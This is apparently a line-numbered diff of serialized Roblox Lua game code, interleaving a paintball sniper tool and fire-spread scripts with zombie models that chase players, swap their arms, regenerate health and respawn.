Part277.Color = Color3.new(0.105882, 0.164706, 0.207843)
3419+
3420-
Part277.Transparency = 0.30000001192093
3420+
function onTouched(part)
3421-
Part277.Size = Vector3.new(3, 6, 1)
3421+
	if part.Parent ~= nil then
3422-
Part277.Anchored = true
3422+
		local h = part.Parent:findFirstChild("Humanoid")
3423-
Part277.BrickColor = BrickColor.new("Black")
3423+
			if h~=nil then
3424-
Part277.brickColor = BrickColor.new("Black")
3424+
				if cantouch~=0 then
3425-
Fire278.Parent = Part277
3425+
					if h.Parent.Name~=owner then
3426-
Fire278.Color = Color3.new(1, 0.745098, 0)
3426+
						
3427-
Fire278.Enabled = false
3427+
						if h.Parent:findFirstChild("zarm")~=nil then return end
3428-
Fire278.Size = 30
3428+
3429-
Fire278.Heat = 25
3429+
						cantouch=0
3430-
Fire278.SecondaryColor = Color3.new(1, 0, 0)
3430+
3431-
Fire278.size = 30
3431+
						local larm=h.Parent:findFirstChild("Left Arm")
3432-
Script279.Parent = Fire278
3432+
						local rarm=h.Parent:findFirstChild("Right Arm")
3433
						
3434-
function Spread(part)
3434+
						if larm~=nil then
3435-
	check = part:findFirstChild("Fire")
3435+
							larm:remove()
3436-
		if check == nil then 
3436+
						end
3437-
	script.Parent:Clone().Parent = part
3437+
						if rarm~=nil then
3438-
	
3438+
							rarm:remove()
3439-
		elseif check ~= nil then
3439+
						end
3440-
	check.Size = check.Size + 1
3440+
						local zee=script.Parent.Parent:findFirstChild("zarm")
3441-
	check.Heat = check.Heat  +1
3441+
						if zee~=nil then
3442
							local zlarm=zee:clone()
3443
							local zrarm=zee:clone()
3444
							if zlarm~=nil then
3445
3446-
script.Parent.Parent.Touched:connect(Spread)
3446+
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
3447
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
3448
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
3449
								zlarm.Parent=h.Parent
3450-
Part280.Name = "PUT THE WEAPON IN THIS BRICK"
3450+
								zrarm.Parent=h.Parent
3451-
Part280.Parent = Model273
3451+
								zlarm:makeJoints()
3452-
Part280.CFrame = CFrame.new(179.9021, 17.1364002, 185.312378, 2.20597576e-06, -0.000129982567, 0.999992907, 4.79108749e-05, 1, 0.000129982611, -0.999992907, 4.79109149e-05, 2.21218079e-06)
3452+
								zrarm:makeJoints()
3453-
Part280.Orientation = Vector3.new(-0.00999999978, 90, 0)
3453+
								zlarm.Anchored=false
3454-
Part280.Position = Vector3.new(179.9021, 17.1364002, 185.312378)
3454+
								zrarm.Anchored=false
3455-
Part280.Rotation = Vector3.new(-89.0199966, 89.7799988, 89.0299988)
3455+
								wait(0.1)
3456-
Part280.Color = Color3.new(0.94902, 0.952941, 0.952941)
3456+
								h.Parent.Head.Color=zee.Color
3457-
Part280.Size = Vector3.new(1, 1.20000005, 5)
3457+
							else print("no zee"); return end
3458-
Part280.Anchored = true
3458+
						end
3459-
Part280.BrickColor = BrickColor.new("White")
3459+
						wait(1)
3460
						cantouch=1
3461-
Part280.brickColor = BrickColor.new("White")
3461+
					end
3462-
Tool281.Name = "TSOR Sniper"
3462+
				end
3463-
Tool281.Parent = Part280
3463+
3464-
Tool281.Grip = CFrame.new(-0.200000003, -0.600000024, -0.800000012, -0.980580688, 2.47333332e-09, -0.196116135, 2.42530285e-09, 1, 4.85060714e-10, 0.196116135, 1.66533454e-16, -0.980580688)
3464+
3465-
Tool281.GripForward = Vector3.new(0.196116135, -4.85060714e-10, 0.980580688)
3465+
3466-
Tool281.GripPos = Vector3.new(-0.200000003, -0.600000024, -0.800000012)
3466+
3467-
Tool281.GripRight = Vector3.new(-0.980580688, 2.42530285e-09, 0.196116135)
3467+
3468-
Tool281.GripUp = Vector3.new(2.47333332e-09, 1, 1.66533454e-16)
3468+
3469-
SpecialMesh282.Parent = Tool281
3469+
Part192.Name = "zarm"
3470-
SpecialMesh282.Scale = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3470+
Part192.Parent = Model182
3471-
SpecialMesh282.MeshType = Enum.MeshType.Sphere
3471+
Part192.CFrame = CFrame.new(195.091461, 5.09995508, 245.98645, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
3472-
Script283.Name = "Trail"
3472+
Part192.Orientation = Vector3.new(0, 180, 0)
3473-
Script283.Parent = Tool281
3473+
Part192.Position = Vector3.new(195.091461, 5.09995508, 245.98645)
3474-
table.insert(cors,sandbox(Script283,function()
3474+
Part192.Rotation = Vector3.new(-180, 0, -180)
3475-
lastpoint = script.Parent.Position
3475+
Part192.Color = Color3.new(0.631373, 0.768628, 0.54902)
3476-
leds = {}
3476+
Part192.Size = Vector3.new(2, 1, 1)
3477-
function makeled()
3477+
Part192.BottomSurface = Enum.SurfaceType.Smooth
3478-
	tip = script.Parent
3478+
Part192.BrickColor = BrickColor.new("Medium green")
3479-
	if tip ~= nil then
3479+
Part192.TopSurface = Enum.SurfaceType.Smooth
3480-
		off = (tip.Mesh.Scale.z/tip.Size.z)/2
3480+
Part192.brickColor = BrickColor.new("Medium green")
3481-
		point = (tip.CFrame*CFrame.new(0, 0, -off)).p
3481+
Part192.FormFactor = Enum.FormFactor.Symmetric
3482-
		unit = (lastpoint - point).unit
3482+
Part192.formFactor = Enum.FormFactor.Symmetric
3483-
		mag = (lastpoint - point).magnitude
3483+
Script193.Parent = Part192
3484-
		if mag>1 then
3484+
table.insert(cors,sandbox(Script193,function()
3485-
			middle = lastpoint-(unit*(mag/2))
3485+
wait(1)
3486-
			cf = CFrame.new(middle, point)
3486+
owner=script.Parent.Parent.Name
3487-
			local l = Instance.new("Part")
3487+
3488-
			l.Name = "Trail"
3488+
function onTouched(part)
3489-
			l.Anchored = true
3489+
	if part.Parent ~= nil then
3490-
			l.CanCollide = false
3490+
		local h = part.Parent:findFirstChild("Humanoid")
3491-
			l.Size = Vector3.new(1, 1, 1)
3491+
			if h~=nil then
3492-
			l.BrickColor = tip.BrickColor
3492+
				if cantouch~=0 then
3493-
			l.TopSurface = 0
3493+
					if h.Parent.Name~=owner then
3494-
			l.BottomSurface = 0
3494+
						
3495-
			local m=  Instance.new("SpecialMesh")
3495+
						if h.Parent:findFirstChild("zarm")~=nil then return end
3496-
			m.MeshType = "Brick"
3496+
3497-
			m.Scale = Vector3.new(.3, .3, mag)/l.Size
3497+
						cantouch=0
3498-
			m.Parent = l
3498+
3499-
			l.Parent = workspace
3499+
						local larm=h.Parent:findFirstChild("Left Arm")
3500-
			local new = script.Script:clone()
3500+
						local rarm=h.Parent:findFirstChild("Right Arm")
3501-
			new.Disabled = false
3501+
						
3502-
			new.Parent = l
3502+
						if larm~=nil then
3503-
			l.CFrame = cf
3503+
							larm:remove()
3504-
			table.insert(leds, l)
3504+
						end
3505-
			lastpoint = point
3505+
						if rarm~=nil then
3506-
			game:getService("Debris"):addItem(l, 2)
3506+
							rarm:remove()
3507
						end
3508
						local zee=script.Parent.Parent:findFirstChild("zarm")
3509
						if zee~=nil then
3510
							local zlarm=zee:clone()
3511
							local zrarm=zee:clone()
3512
							if zlarm~=nil then
3513-
	makeled()
3513+
3514-
	wait()
3514+
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
3515
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
3516
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
3517
								zlarm.Parent=h.Parent
3518-
Script283.Disabled = true
3518+
								zrarm.Parent=h.Parent
3519-
Script284.Parent = Script283
3519+
								zlarm:makeJoints()
3520-
table.insert(cors,sandbox(Script284,function()
3520+
								zrarm:makeJoints()
3521-
while script.Parent.Transparency<1 do 
3521+
								zlarm.Anchored=false
3522-
script.Parent.Transparency = script.Parent.Transparency+.2
3522+
								zrarm.Anchored=false
3523-
wait(0.01)
3523+
								wait(0.1)
3524
								h.Parent.Head.Color=zee.Color
3525
							else print("no zee"); return end
3526-
script.Parent:remove()
3526+
						end
3527
						wait(1)
3528-
Script284.Disabled = true
3528+
						cantouch=1
3529-
Script285.Name = "BrickCleanup"
3529+
					end
3530-
Script285.Parent = Tool281
3530+
				end
3531-
table.insert(cors,sandbox(Script285,function()
3531+
3532-
-- this script removes its parent from the workspace after 24 seconds
3532+
3533
end
3534
3535
script.Parent.Touched:connect(onTouched)
3536-
wait(4)
3536+
3537
ObjectValue194.Name = "IsNZ"
3538-
script.Parent.Parent = nil
3538+
ObjectValue194.Parent = Model182
3539
IntValue195.Name = "Mode"
3540-
Script285.Disabled = true
3540+
IntValue195.Parent = Model182
3541-
LocalScript286.Name = "AmmoScript"
3541+
Script196.Parent = Model182
3542-
LocalScript286.Parent = Tool281
3542+
table.insert(cors,sandbox(Script196,function()
3543-
table.insert(cors,sandbox(LocalScript286,function()
3543+
local larm = script.Parent:FindFirstChild("Left Arm")
3544-
Tool = script.Parent 
3544+
local rarm = script.Parent:FindFirstChild("Right Arm")
3545-
function equip()
3545+
3546-
	print("Equipped")
3546+
function findNearestTorso(pos)
3547-
	if game.Players.LocalPlayer ~= nil then
3547+
	local list = game.Workspace:children()
3548-
		local m = Instance.new("Message")
3548+
	local torso = nil
3549-
		m.Parent = game.Players.LocalPlayer
3549+
	local dist = 1000
3550-
		m.Name = "AmmoStats"
3550+
	local temp = nil
3551-
		while m ~= nil do
3551+
	local human = nil
3552-
			wait(0.1)
3552+
	local temp2 = nil
3553-
			m.Text = "Ammo: "..script.Ammo.Value.."  Clip: "..script.Clip.Value
3553+
	for x = 1, #list do
3554
		temp2 = list[x]
3555
		if (temp2.className == "Model") and (temp2 ~= script.Parent) then
3556
			temp = temp2:findFirstChild("Right Arm")
3557
			human = temp2:findFirstChild("Humanoid")
3558-
function unequip()
3558+
			if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
3559-
	print("Unequipped")
3559+
				if (temp.Position - pos).magnitude < dist then
3560-
	if game.Players.LocalPlayer ~= nil then
3560+
					torso = temp
3561-
		print("localplayer found")
3561+
					dist = (temp.Position - pos).magnitude
3562-
		local m = game.Players.LocalPlayer:FindFirstChild("AmmoStats")
3562+
				end
3563-
		if m ~= nil then
3563+
3564-
			m:remove()
3564+
3565
	end
3566
	return torso
3567
end
3568
3569-
script.Parent.Equipped:connect(equip)
3569+
3570-
script.Parent.Unequipped:connect(unequip)
3570+
3571
3572
while true do
3573-
IntValue287.Name = "Ammo"
3573+
	wait(math.random(1,5))
3574-
IntValue287.Parent = LocalScript286
3574+
	local target = findNearestTorso(script.Parent.Torso.Position)
3575-
IntValue287.Value = 2147483647
3575+
	if target ~= nil then
3576-
IntValue288.Name = "Clip"
3576+
		script.Parent.Humanoid:MoveTo(target.Position, target)
3577-
IntValue288.Parent = LocalScript286
3577+
3578-
IntValue288.Value = 5
3578+
3579-
Script289.Name = "Reload"
3579+
3580-
Script289.Parent = IntValue288
3580+
3581-
table.insert(cors,sandbox(Script289,function()
3581+
3582-
print("Ammo Clip Loaded") --Replace every "30" with the number of bullets you want in a clip.
3582+
Script197.Name = "Health"
3583
Script197.Parent = Model182
3584
table.insert(cors,sandbox(Script197,function()
3585-
	if (script.Parent.Value == 0) and (script.Parent.Parent.Ammo.Value >= 5) then 
3585+
function waitForChild(parent, childName)
3586-
		wait(3)
3586+
	while true do
3587-
		script.Parent.Value = 5
3587+
		local child = parent:findFirstChild(childName)
3588-
		script.Parent.Parent.Ammo.Value = script.Parent.Parent.Ammo.Value - 5
3588+
		if child then
3589
			return child
3590-
	if (script.Parent.Value == 0) and (script.Parent.Parent.Ammo.Value <= 5) then
3590+
3591-
		wait(3)
3591+
		parent.ChildAdded:wait()
3592-
		script.Parent.Value = script.Parent.Parent.Ammo.Value
3592+
3593-
		script.Parent.Parent.Ammo.Value = 0
3593+
3594
3595-
	wait(0)
3595+
-- declarations
3596
3597
local Figure = script.Parent
3598
local Head = waitForChild(Figure, "Head")
3599-
LocalScript290.Name = "Local Gui"
3599+
local Humanoid = waitForChild(Figure, "Humanoid")
3600-
LocalScript290.Parent = Tool281
3600+
Humanoid.Health=500
3601-
table.insert(cors,sandbox(LocalScript290,function()
3601+
-- regeneration
3602-
local Tool = script.Parent;
3602+
3603
	local s = wait(4)
3604-
enabled = true
3604+
	local health = Humanoid.Health
3605-
function onButton1Down(mouse)
3605+
	if health > 0 and health < Humanoid.MaxHealth then
3606-
	if not enabled then
3606+
		health = health + 0.08 * s * Humanoid.MaxHealth
3607-
		return
3607+
		if health * 1.05 < Humanoid.MaxHealth then
3608
			Humanoid.Health = health
3609
		else
3610-
	enabled = true
3610+
			Humanoid.Health = Humanoid.MaxHealth
3611-
	mouse.Icon = "http://www.roblox.com/asset/?id=2966012"
3611+
3612
	end
3613-
	--wait(.5)
3613+
3614-
	--mouse.Icon = "rbxasset://textures\\GunCursor.png"
3614+
3615-
	--enabled = true
3615+
3616-
	--mouse.Button1Up:connect(function() onButton1Up(mouse) end)
3616+
Script198.Name = "Respawn"
3617
Script198.Parent = Model182
3618
table.insert(cors,sandbox(Script198,function()
3619
name="Humanoid"
3620
3621-
function onButton1Up(mouse)
3621+
robo=script.Parent:clone()
3622-
enabled = false
3622+
3623-
Tool.Enabled = false
3623+
3624-
mouse.Icon = "http://www.roblox.com/asset/?id=2966012"
3624+
	wait(1)
3625
	if script.Parent.Humanoid.Health<1 then
3626
		robot=robo:clone()
3627-
wait(0.1)
3627+
		robot.Parent=script.Parent.Parent
3628
		robot:makeJoints()
3629
		script.Parent:remove()
3630
	end
3631-
mouse.Icon = "http://www.roblox.com/asset/?id=2966012"
3631+
3632-
enabled = true
3632+
3633-
Tool.Enabled = true
3633+
3634
3635
3636-
function onEquippedLocal(mouse)
3636+
3637
Part199.Name = "Spawn Location"
3638-
	if mouse == nil then
3638+
Part199.Parent = Model181
3639-
		print("Mouse not found")
3639+
Part199.CFrame = CFrame.new(195.091461, 0.600009978, 247.48645, -1.00000024, 0, 0, 0, 1, 0, 0, 0, -1.00000024)
3640-
		return 
3640+
Part199.Orientation = Vector3.new(0, 180, 0)
3641
Part199.Position = Vector3.new(195.091461, 0.600009978, 247.48645)
3642
Part199.Rotation = Vector3.new(-180, 0, -180)
3643-
	mouse.Icon = "http://www.roblox.com/asset/?id=2966012"
3643+
Part199.Color = Color3.new(0.631373, 0.768628, 0.54902)
3644-
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)	
3644+
Part199.Size = Vector3.new(6, 1.20000005, 6)
3645-
	mouse.Button1Up:connect(function() onButton1Up(mouse)end)
3645+
Part199.BottomSurface = Enum.SurfaceType.Weld
3646
Part199.BrickColor = BrickColor.new("Medium green")
3647
Part199.TopSurface = Enum.SurfaceType.Smooth
3648
Part199.brickColor = BrickColor.new("Medium green")
3649-
Tool.Equipped:connect(onEquippedLocal)
3649+
Decal200.Parent = Part199
3650
Decal200.Texture = "http://www.roblox.com/asset/?id=34541722"
3651
Decal200.Face = Enum.NormalId.Top
3652-
Part291.Name = "Handle"
3652+
Model201.Parent = Model0
3653-
Part291.Parent = Tool281
3653+
Model202.Parent = Model201
3654-
Part291.CFrame = CFrame.new(179.901611, 21.8219166, 184.3125, 2.23519528e-05, 5.92415574e-07, -1, 1.26095597e-06, 1, 5.92443769e-07, 1, -1.26096916e-06, 2.23519528e-05)
3654+
Model203.Name = "Zombie"
3655-
Part291.Orientation = Vector3.new(0, -90, 0)
3655+
Model203.Parent = Model202
3656-
Part291.Position = Vector3.new(179.901611, 21.8219166, 184.3125)
3656+
Model203.PrimaryPart = Part204
3657-
Part291.Rotation = Vector3.new(0, -90, 0)
3657+
Part204.Name = "Head"
3658-
Part291.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
3658+
Part204.Parent = Model203
3659-
Part291.Velocity = Vector3.new(-0.00179526024, 0.00541103398, -0.00604546722)
3659+
Part204.CFrame = CFrame.new(188.591461, 6.09995508, 229.48645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
3660-
Part291.Size = Vector3.new(1, 0.400000006, 5)
3660+
Part204.Orientation = Vector3.new(0, 90, 0)
3661
Part204.Position = Vector3.new(188.591461, 6.09995508, 229.48645)
3662-
Part291.BrickColor = BrickColor.new("Really black")
3662+
Part204.Rotation = Vector3.new(0, 90, 0)
3663-
Part291.Reflectance = 0.0099999997764826
3663+
Part204.Color = Color3.new(0.631373, 0.768628, 0.54902)
3664-
Part291.RotVelocity = Vector3.new(0.00325625576, 0.0098301312, -0.0111841643)
3664+
Part204.Size = Vector3.new(2, 1, 1)
3665
Part204.BrickColor = BrickColor.new("Medium green")
3666-
Part291.brickColor = BrickColor.new("Really black")
3666+
Part204.TopSurface = Enum.SurfaceType.Smooth
3667-
Part291.FormFactor = Enum.FormFactor.Plate
3667+
Part204.brickColor = BrickColor.new("Medium green")
3668-
Part291.formFactor = Enum.FormFactor.Plate
3668+
Part204.FormFactor = Enum.FormFactor.Symmetric
3669-
Sound292.Name = "Fire"
3669+
Part204.formFactor = Enum.FormFactor.Symmetric
3670-
Sound292.Parent = Part291
3670+
SpecialMesh205.Parent = Part204
3671-
Sound292.Pitch = 0.60000002384186
3671+
SpecialMesh205.Scale = Vector3.new(1.25, 1.25, 1.25)
3672-
Sound292.PlaybackSpeed = 0.60000002384186
3672+
Decal206.Name = "face"
3673-
Sound292.SoundId = "http://www.roblox.com/asset/?id=2920959"
3673+
Decal206.Parent = Part204
3674-
Sound292.Volume = 1
3674+
Part207.Name = "Torso"
3675-
SpecialMesh293.Parent = Part291
3675+
Part207.Parent = Model203
3676-
SpecialMesh293.Scale = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3676+
Part207.CFrame = CFrame.new(188.591461, 4.59995508, 229.48645, 0, 0, 1.00000024, 0, 1, 0, -1.00000024, 0, 0)
3677-
SpecialMesh293.TextureId = "http://www.roblox.com/none"
3677+
Part207.Orientation = Vector3.new(0, 90, 0)
3678-
SpecialMesh293.MeshType = Enum.MeshType.FileMesh
3678+
Part207.Position = Vector3.new(188.591461, 4.59995508, 229.48645)
3679-
Script294.Name = "PaintballShooter"
3679+
Part207.Rotation = Vector3.new(0, 90, 0)
3680-
Script294.Parent = Tool281
3680+
Part207.Color = Color3.new(0.411765, 0.25098, 0.156863)
3681
Part207.Size = Vector3.new(2, 2, 1)
3682-
Tool = script.Parent
3682+
Part207.BrickColor = BrickColor.new("Reddish brown")
3683
Part207.LeftParamA = 0
3684
Part207.LeftParamB = 0
3685
Part207.LeftSurface = Enum.SurfaceType.Weld
3686-
colors = {24,}
3686+
Part207.RightParamA = 0
3687
Part207.RightParamB = 0
3688
Part207.RightSurface = Enum.SurfaceType.Weld
3689
Part207.brickColor = BrickColor.new("Reddish brown")
3690-
function fire(v)
3690+
Part207.FormFactor = Enum.FormFactor.Symmetric
3691
Part207.formFactor = Enum.FormFactor.Symmetric
3692
Part208.Name = "Left Leg"
3693-
if (script.Parent.AmmoScript.Clip.Value == 0) then return 
3693+
Part208.Parent = Model203
3694-
	end 
3694+
Part208.CFrame = CFrame.new(188.591461, 2.59995508, 229.98645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
3695-
	script.Parent.AmmoScript.Clip.Value = script.Parent.AmmoScript.Clip.Value - 1
3695+
Part208.Orientation = Vector3.new(0, 90, 0)
3696-
	print(Ammo)
3696+
Part208.Position = Vector3.new(188.591461, 2.59995508, 229.98645)
3697
Part208.Rotation = Vector3.new(0, 90, 0)
3698
Part208.Color = Color3.new(0.411765, 0.25098, 0.156863)
3699-
	Tool.Parent.Torso["Right Shoulder"].DesiredAngle = 8			--moves your arm as if firing.
3699+
Part208.Size = Vector3.new(1, 2, 1)
3700-
	Tool.Handle.Fire:play()
3700+
Part208.BottomSurface = Enum.SurfaceType.Smooth
3701
Part208.BrickColor = BrickColor.new("Reddish brown")
3702-
	
3702+
Part208.CanCollide = false
3703
Part208.brickColor = BrickColor.new("Reddish brown")
3704
Part208.FormFactor = Enum.FormFactor.Symmetric
3705
Part208.formFactor = Enum.FormFactor.Symmetric
3706-
	local vCharacter = Tool.Parent
3706+
Part209.Name = "Right Leg"
3707-
	local vPlayer = game.Players:playerFromCharacter(vCharacter)
3707+
Part209.Parent = Model203
3708-
	--local EjectionPort = Tool.Port
3708+
Part209.CFrame = CFrame.new(188.591461, 2.59995508, 228.98645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
3709
Part209.Orientation = Vector3.new(0, 90, 0)
3710
Part209.Position = Vector3.new(188.591461, 2.59995508, 228.98645)
3711
Part209.Rotation = Vector3.new(0, 90, 0)
3712-
	local missile = Instance.new("Part")
3712+
Part209.Color = Color3.new(0.411765, 0.25098, 0.156863)
3713
Part209.Size = Vector3.new(1, 2, 1)
3714-
        
3714+
Part209.BottomSurface = Enum.SurfaceType.Smooth
3715-
	local spawnPos = vCharacter.PrimaryPart.Position
3715+
Part209.BrickColor = BrickColor.new("Reddish brown")
3716-
	
3716+
Part209.CanCollide = false
3717-
	spawnPos  = spawnPos + (v * 8)
3717+
Part209.brickColor = BrickColor.new("Reddish brown")
3718
Part209.FormFactor = Enum.FormFactor.Symmetric
3719-
	missile.Position = spawnPos
3719+
Part209.formFactor = Enum.FormFactor.Symmetric
3720-
	missile.Size = Vector3.new(1,1,1)
3720+
Humanoid210.Parent = Model203
3721-
	missile.Velocity = v * 800
3721+
Humanoid210.LeftLeg = Part208
3722-
	missile.BrickColor = BrickColor.new(colors[math.random(1, #colors)])
3722+
Humanoid210.NameOcclusion = Enum.NameOcclusion.NoOcclusion
3723-
	missile.Shape = 1
3723+
Humanoid210.RightLeg = Part209
3724-
	missile.BottomSurface = 0
3724+
Humanoid210.Torso = Part207
3725-
	missile.TopSurface = 0
3725+
Part211.Name = "zarm"
3726-
	missile.Name = "Paintball"
3726+
Part211.Parent = Model203
3727-
	missile.Elasticity = 0
3727+
Part211.CFrame = CFrame.new(188.091461, 5.09995508, 230.98645, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
3728-
	missile.Reflectance = 0.2
3728+
Part211.Orientation = Vector3.new(0, 180, 0)
3729-
	missile.Friction = .3
3729+
Part211.Position = Vector3.new(188.091461, 5.09995508, 230.98645)
3730
Part211.Rotation = Vector3.new(-180, 0, -180)
3731-
	local force = Instance.new("BodyForce")
3731+
Part211.Color = Color3.new(0.631373, 0.768628, 0.54902)
3732-
	force.force = Vector3.new(0,250,0)
3732+
Part211.Size = Vector3.new(2, 1, 1)
3733-
	force.Parent = missile
3733+
Part211.BottomSurface = Enum.SurfaceType.Smooth
3734
Part211.BrickColor = BrickColor.new("Medium green")
3735-
	local new_mesh = script.Parent.Mesh:clone()
3735+
Part211.TopSurface = Enum.SurfaceType.Smooth
3736-
	new_mesh.Parent = missile
3736+
Part211.brickColor = BrickColor.new("Medium green")
3737
Part211.FormFactor = Enum.FormFactor.Symmetric
3738-
	local new_script = script.Parent.Paintball:clone()
3738+
Part211.formFactor = Enum.FormFactor.Symmetric
3739-
	new_script.Disabled = false
3739+
Script212.Parent = Part211
3740-
	new_script.Parent = missile
3740+
table.insert(cors,sandbox(Script212,function()
3741
wait(1)
3742-
	local new_script = script.Parent.Trail:clone()
3742+
owner=script.Parent.Parent.Name
3743-
	new_script.Disabled = false
3743+
3744-
	new_script.Parent = missile
3744+
function onTouched(part)
3745
	if part.Parent ~= nil then
3746-
	local new_script = script.Parent.BrickCleanup:clone()
3746+
		local h = part.Parent:findFirstChild("Humanoid")
3747-
	new_script.Disabled = false
3747+
			if h~=nil then
3748-
	new_script.Parent = missile
3748+
				if cantouch~=0 then
3749
					if h.Parent.Name~=owner then
3750-
	local creator_tag = Instance.new("ObjectValue")
3750+
						
3751-
	creator_tag.Value = vPlayer
3751+
						if h.Parent:findFirstChild("zarm")~=nil then return end
3752-
	creator_tag.Name = "creator"
3752+
3753-
	creator_tag.Parent = missile
3753+
						cantouch=0
3754-
	
3754+
3755
						local larm=h.Parent:findFirstChild("Left Arm")
3756
						local rarm=h.Parent:findFirstChild("Right Arm")
3757-
	missile.Parent = game.Workspace
3757+
						
3758
						if larm~=nil then
3759
							larm:remove()
3760-
	--local shell = Instance.new("Part")
3760+
						end
3761
						if rarm~=nil then
3762-
        
3762+
							rarm:remove()
3763-
	--local spawnPos = EjectionPort.Position
3763+
						end
3764
						local zee=script.Parent.Parent:findFirstChild("zarm")
3765-
	--shell.Position = spawnPos
3765+
						if zee~=nil then
3766-
	--shell.Size = Vector3.new(1,1,1)
3766+
							local zlarm=zee:clone()
3767-
	--shell.Velocity =v * 2
3767+
							local zrarm=zee:clone()
3768-
	--shell.BrickColor = BrickColor.new(colors[math.random(1, #colors)])
3768+
							if zlarm~=nil then
3769-
	--shell.Shape = 0
3769+
3770-
	--shell.BottomSurface = 0
3770+
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
3771-
	--shell.TopSurface = 0
3771+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
3772-
	--shell.Name = "Cartridge"
3772+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
3773-
	--shell.Elasticity = 0
3773+
								zlarm.Parent=h.Parent
3774-
	--shell.CanCollide = false
3774+
								zrarm.Parent=h.Parent
3775-
	--shell.Friction = .3
3775+
								zlarm:makeJoints()
3776
								zrarm:makeJoints()
3777-
	--local new_mesh = script.Parent.Mesh2:clone()
3777+
								zlarm.Anchored=false
3778-
	--new_mesh.Parent = shell
3778+
								zrarm.Anchored=false
3779
								wait(0.1)
3780-
	--local new_script = script.Parent.BrickCleanup2:clone()
3780+
								h.Parent.Head.Color=zee.Color
3781-
	--new_script.Disabled = false
3781+
							else print("no zee"); return end
3782-
	--new_script.Parent = shell
3782+
						end
3783
						wait(1)
3784-
	--shell.Parent = game.Workspace
3784+
						cantouch=1
3785
					end
3786-
        end
3786+
				end
3787
			end
3788
	end
3789
end
3790
3791
script.Parent.Touched:connect(onTouched)
3792
end))
3793-
Tool.Enabled = true
3793+
Part213.Name = "zarm"
3794
Part213.Parent = Model203
3795-
function onActivated()
3795+
Part213.CFrame = CFrame.new(188.091461, 5.09995508, 227.98645, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
3796
Part213.Orientation = Vector3.new(0, 180, 0)
3797
Part213.Position = Vector3.new(188.091461, 5.09995508, 227.98645)
3798
Part213.Rotation = Vector3.new(-180, 0, -180)
3799-
	if not Tool.Enabled then
3799+
Part213.Color = Color3.new(0.631373, 0.768628, 0.54902)
3800
Part213.Size = Vector3.new(2, 1, 1)
3801-
		return
3801+
Part213.BottomSurface = Enum.SurfaceType.Smooth
3802
Part213.BrickColor = BrickColor.new("Medium green")
3803
Part213.TopSurface = Enum.SurfaceType.Smooth
3804
Part213.brickColor = BrickColor.new("Medium green")
3805
Part213.FormFactor = Enum.FormFactor.Symmetric
3806
Part213.formFactor = Enum.FormFactor.Symmetric
3807-
	Tool.Enabled = false
3807+
Script214.Parent = Part213
3808
table.insert(cors,sandbox(Script214,function()
3809-
	local character = Tool.Parent;
3809+
wait(1)
3810
owner=script.Parent.Parent.Name
3811-
	local humanoid = character.Humanoid
3811+
3812
function onTouched(part)
3813-
	if humanoid == nil then
3813+
	if part.Parent ~= nil then
3814
		local h = part.Parent:findFirstChild("Humanoid")
3815-
		print("Humanoid not found")
3815+
			if h~=nil then
3816
				if cantouch~=0 then
3817-
		return 
3817+
					if h.Parent.Name~=owner then
3818
						
3819
						if h.Parent:findFirstChild("zarm")~=nil then return end
3820
3821
						cantouch=0
3822
3823-
	local targetPos = humanoid.TargetPoint
3823+
						local larm=h.Parent:findFirstChild("Left Arm")
3824
						local rarm=h.Parent:findFirstChild("Right Arm")
3825-
	local lookAt = (targetPos - character.Head.Position).unit
3825+
						
3826
						if larm~=nil then
3827
							larm:remove()
3828
						end
3829-
	fire(lookAt)
3829+
						if rarm~=nil then
3830
							rarm:remove()
3831
						end
3832
						local zee=script.Parent.Parent:findFirstChild("zarm")
3833-
	wait(2)
3833+
						if zee~=nil then
3834
							local zlarm=zee:clone()
3835
							local zrarm=zee:clone()
3836
							if zlarm~=nil then
3837-
	Tool.Enabled = true
3837+
3838
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
3839-
script.Parent.Activated:connect(onActivated)
3839+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
3840
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
3841
								zlarm.Parent=h.Parent
3842
								zrarm.Parent=h.Parent
3843
								zlarm:makeJoints()
3844
								zrarm:makeJoints()
3845-
Script295.Name = "Paintball"
3845+
								zlarm.Anchored=false
3846-
Script295.Parent = Tool281
3846+
								zrarm.Anchored=false
3847-
table.insert(cors,sandbox(Script295,function()
3847+
								wait(0.1)
3848-
function onTouched(hit)
3848+
								h.Parent.Head.Color=zee.Color
3849-
        local human = hit.Parent:findFirstChild("Humanoid")
3849+
							else print("no zee"); return end
3850-
        if (human ~= nil) then
3850+
						end
3851-
                human.Health = human.Health - 75
3851+
						wait(1)
3852-
        end
3852+
						cantouch=1
3853
					end
3854
				end
3855
			end
3856-
Script296.Name = "Two-Hands"
3856+
3857-
Script296.Parent = Tool281
3857+
3858-
table.insert(cors,sandbox(Script296,function()
3858+
3859-
Tool = script.Parent;
3859+
3860-
